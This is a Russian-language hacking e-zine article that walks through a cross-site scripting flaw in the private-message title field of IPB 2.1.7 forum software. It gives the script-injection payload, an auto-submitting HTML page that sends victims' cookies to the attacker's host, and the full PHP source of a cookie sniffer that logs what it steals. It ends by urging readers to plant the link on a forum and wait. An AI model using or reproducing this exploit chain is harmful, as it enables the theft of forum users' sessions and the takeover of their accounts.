Content:
General
Security/hack
Programming
Art/Stuff
 
 
наша рассылка
Твой E-mail:
Submit
 
 
  XSS уязвимость в письме или ломаем форум IPB
 
 
 

Дело было днем, 2 часа осталось перед докладом о методах сетевых атак, а достойного примера "XSS" уязвимости найдено не было… Чтобы как-то отвлечься от этой проблемы,  я отправился на местный форум. Он держался на IPB v.2.1.7 – последняя версия на данный момент. Я почитал форум и отправился посмотреть на письма, которые ждали меня в личке. На 1 из них я решил ответить, причем чтобы не затруднять себя придумыванием темы решил сделать ее в виде ссылки, так как ответить я должен был, что-то в виде: смотри вот эту ссылку. Забыв, что я на форуме я написал тэг ссылки в привычном мне HTML виде. Письмо получилось следующее :

 

Заголовок : <a href=”http://site.com”>Смотри тут</a>

Тест: Сабж

 

Какого же было мое удивление, когда я нажал предварительный просмотр.

 

 

Из скриншота видно, что именно меня заинтересовало. То, что я ввел встроилось в html-код. Чтобы понять, как это произошло, я стал смотреть исходный код страницы:

<input type="text" name="msg_title" size="40" tabindex="3" maxlength="40" value="<a href="http://site.com">Смотри тут</a>" /> . Как видим то, что я ввел, внедрилось в html-код без изменения, спецсимволы не проходили фильтрацию.

Теперь посмотрим что мы можем сделать: как видим перед inputom идет открытая кавычка, не долго думая я решил закрыть ее, а заодно и сам тэг инпута. А затем написать свой тег. Для проверки я сделал стандартный JavaScript alert. В конечном итоге мой заголовок темы выглядел таким образом :

"><script>alert("Hi");</script>

после нажатия предварительный просмотр произошло то чего я и ждал :

 

 

Страничка радостно здоровалась со мной.

Смотрим исходный код, как и ожидалось текст принял следующий вид :

<pre>

<input type="text" name="msg_title" size="40" tabindex="3" maxlength="40" value="">

<script>alert("Hi");</script>/>

</pre>

Как видим, внедрение прошло удачно ;)

Но тут нас ждет небольшое разочарование максимальная длинна заголовка сообщения всего лишь 40 символов.

Но и это меня не остановило, ведь от успеха зависело поставят мне зачет или нет ;)

На своей локальной машине я создал html-файл:

 

<!- Index.html-->

<html>

<head>

<meta http-equiv="content-type" content="text/html; charset=windows-1251" />

</head>

<body onLoad="document.REPLIER.submit();">

<form action="http://site.ru/index.php?act=msg" method="post" name="REPLIER">

<input type="hidden" name="removeattachid" value="0" />

<input type="hidden" name="OID" value="" />

<input type="hidden" name="act" value="Msg" />

<input type="hidden" name="CODE" value="04" />

<input type="hidden" name="MODE" value="01" />

<input type="hidden" name="preview" value="Предварительный просмотр">

<input type="hidden" name="msg_title" value='">

 <script>location.href="http://mysite/snif.php?c="+document.cookie</script>'>

</form>

</body>

</html>

 

как видим страничка не делает ничего иного, как запускает в браузере страничку с личным сообщением пользователя, заполняет форму Заголовка и нажимает кнопочку предварительного просмотра.

 

При этом выполняется скрипт, который переадресует document.cookie на наш снифер.

Теперь посмотрим, что представляет собой наш снифер :

 

<!—snif.php-->

<?php

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$date=date("j F, Y, g:i a");

$referer=getenv ('HTTP_REFERER');

$fp=fopen('cookies.txt','a');

fwrite($fp, 'Date: '.$date. "\n".'Cookie: '.$cookie."\n".'Referer: '.$referer."\n\n");

fclose($fp);

?>

 

<html> <head>

<meta http-equiv="content-type" content="text/html;

charset=windows-1251" />

</head>

<script>location.href=”http://site.com/index.php”</script></form>

</body>

</html>

 

Наш скрипт записывает в файл Куки пользователя, а затем переадресует на главную страницу форума.

 

Остается только разместить где-нибудь на этом форуме ссылку на наш “злобный” index.html и ждать J

 

P.S. Администраторы очень многих сайтов считают что XSS уязвимость не вызывает существенной опасности, поэтому закрывают на нее глаза. Нам же остается только постоянно доказывать им обратное…

.:: Special for Open Team E-zine ::.

Автор: UnknowN
Public icq: hidden

 
Интро | О проекте | Услуги | Статьи | Обратная связь
Freelance web designer